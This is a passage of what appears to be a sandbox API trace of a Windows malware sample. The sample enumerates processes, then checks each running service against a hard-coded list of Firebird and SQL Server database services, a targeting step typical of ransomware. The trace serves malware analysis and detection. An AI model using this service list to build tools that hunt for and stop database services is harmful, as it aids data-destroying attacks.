lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.640] lstrlenW (lpString="svchost.exe") returned 11 [0103.640] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0103.640] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0103.640] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0103.641] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0103.641] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.642] lstrlenW (lpString="conhost.exe") returned 11 [0103.642] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0103.643] lstrlenW (lpString="cmd.exe") returned 7 [0103.643] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.644] lstrlenW (lpString="conhost.exe") returned 11 [0103.644] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0103.644] lstrlenW (lpString="sppsvc.exe") returned 10 [0103.644] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0103.645] lstrlenW (lpString="dllhost.exe") returned 11 [0103.646] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0103.646] lstrlenW (lpString="mode.com") returned 8 [0103.647] Process32NextW (in: hSnapshot=0x390, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0103.647] CloseHandle (hObject=0x390) returned 1 [0103.647] Sleep (dwMilliseconds=0x1f4) [0104.550] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f280 [0104.551] EnumServicesStatusExW (in: hSCManager=0x47f280, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0104.551] GetLastError () returned 0xea [0104.551] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d4a) returned 0x36890e8 [0104.552] EnumServicesStatusExW (in: hSCManager=0x47f280, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36890e8, cbBufSize=0x1d4a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36890e8, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0104.553] CloseServiceHandle (hSCObject=0x47f280) returned 1 [0104.553] lstrlenW (lpString="Appinfo") returned 7 [0104.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0104.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0104.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0104.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0104.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0104.553] lstrlenW (lpString="AppXSvc") returned 7 [0104.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0104.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0104.553] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0104.553] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0104.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0104.553] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0104.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0104.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0104.554] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0104.554] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0104.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0104.554] lstrlenW (lpString="Audiosrv") returned 8 [0104.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0104.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0104.554] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0104.554] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0104.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0104.554] lstrlenW (lpString="BFE") returned 3 [0104.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0104.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0104.554] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0104.554] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0104.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0104.554] lstrlenW (lpString="BITS") returned 4 [0104.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0104.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0104.554] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0104.554] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0104.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0104.554] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0104.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0104.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0104.554] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0104.555] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0104.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0104.555] lstrlenW (lpString="CDPSvc") returned 6 [0104.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0104.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0104.555] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0104.555] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0104.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0104.555] lstrlenW (lpString="ClickToRunSvc") returned 13 [0104.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0104.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0104.555] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0104.555] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0104.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0104.555] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0104.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0104.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0104.555] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0104.555] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0104.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0104.555] lstrlenW (lpString="CryptSvc") returned 8 [0104.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0104.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0104.555] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0104.556] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0104.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0104.556] lstrlenW (lpString="DcomLaunch") returned 10 [0104.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0104.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0104.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0104.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0104.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0104.556] lstrlenW (lpString="DeviceAssociationService") returned 24 [0104.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0104.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0104.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0104.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0104.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0104.556] lstrlenW (lpString="Dhcp") returned 4 [0104.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0104.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0104.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0104.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0104.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0104.557] lstrlenW (lpString="Dnscache") returned 8 [0104.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0104.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0104.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0104.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0104.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0104.557] lstrlenW (lpString="DoSvc") returned 5 [0104.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0104.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0104.557] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0104.557] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0104.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0104.557] lstrlenW (lpString="DPS") returned 3 [0104.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0104.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0104.557] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0104.557] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0104.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0104.558] lstrlenW (lpString="DusmSvc") returned 7 [0104.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0104.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0104.558] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0104.558] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0104.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0104.558] lstrlenW (lpString="EventLog") returned 8 [0104.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0104.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0104.558] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0104.558] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0104.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0104.558] lstrlenW (lpString="EventSystem") returned 11 [0104.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0104.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0104.558] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0104.558] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0104.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0104.558] lstrlenW (lpString="FontCache") returned 9 [0104.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0104.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0104.558] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0104.558] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0104.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0104.559] lstrlenW (lpString="gpsvc") returned 5 [0104.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0104.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0104.559] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0104.559] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0104.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0104.559] lstrlenW (lpString="iphlpsvc") returned 8 [0104.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0104.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0104.559] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0104.559] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0104.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0104.559] lstrlenW (lpString="KeyIso") returned 6 [0104.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0104.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0104.559] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0104.559] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0104.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0104.559] lstrlenW (lpString="LanmanServer") returned 12 [0104.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0104.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0104.559] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0104.559] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0104.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0104.559] lstrlenW (lpString="LanmanWorkstation") returned 17 [0104.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0104.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0104.560] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0104.560] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0104.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0104.560] lstrlenW (lpString="lfsvc") returned 5 [0104.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0104.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0104.560] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0104.560] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0104.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0104.560] lstrlenW (lpString="lmhosts") returned 7 [0104.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0104.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0104.560] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0104.560] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0104.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0104.560] lstrlenW (lpString="LSM") returned 3 [0104.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0104.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0104.560] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0104.560] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0104.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0104.560] lstrlenW (lpString="MpsSvc") returned 6 [0104.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0104.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0104.561] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0104.561] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0104.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0104.561] lstrlenW (lpString="NcbService") returned 10 [0104.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0104.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0104.561] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0104.561] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0104.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0104.561] lstrlenW (lpString="netprofm") returned 8 [0104.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0104.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0104.561] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0104.561] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0104.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0104.561] lstrlenW (lpString="NlaSvc") returned 6 [0104.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0104.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0104.561] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0104.561] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0104.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0104.561] lstrlenW (lpString="nsi") returned 3 [0104.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0104.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0104.561] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0104.562] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0104.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0104.562] lstrlenW (lpString="PcaSvc") returned 6 [0104.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0104.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0104.562] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0104.562] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0104.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0104.562] lstrlenW (lpString="PlugPlay") returned 8 [0104.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0104.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0104.562] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0104.562] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0104.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0104.562] lstrlenW (lpString="Power") returned 5 [0104.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0104.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0104.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0104.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0104.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0104.562] lstrlenW (lpString="ProfSvc") returned 7 [0104.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0104.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0104.562] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0104.562] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0104.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0104.563] lstrlenW (lpString="RpcEptMapper") returned 12 [0104.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0104.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0104.563] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0104.563] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0104.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0104.563] lstrlenW (lpString="RpcSs") returned 5 [0104.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0104.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0104.563] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0104.563] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0104.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0104.563] lstrlenW (lpString="SamSs") returned 5 [0104.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0104.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0104.563] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0104.563] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0104.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0104.563] lstrlenW (lpString="Schedule") returned 8 [0104.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0104.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0104.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0104.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0104.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0104.563] lstrlenW (lpString="SecurityHealthService") returned 21 [0104.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0104.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0104.564] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0104.564] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0104.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0104.564] lstrlenW (lpString="SENS") returned 4 [0104.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0104.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0104.564] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0104.564] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0104.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0104.564] lstrlenW (lpString="ShellHWDetection") returned 16 [0104.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0104.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0104.564] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0104.564] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0104.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0104.564] lstrlenW (lpString="Spooler") returned 7 [0104.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0104.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0104.564] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0104.564] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0104.564] lstrcmpiW 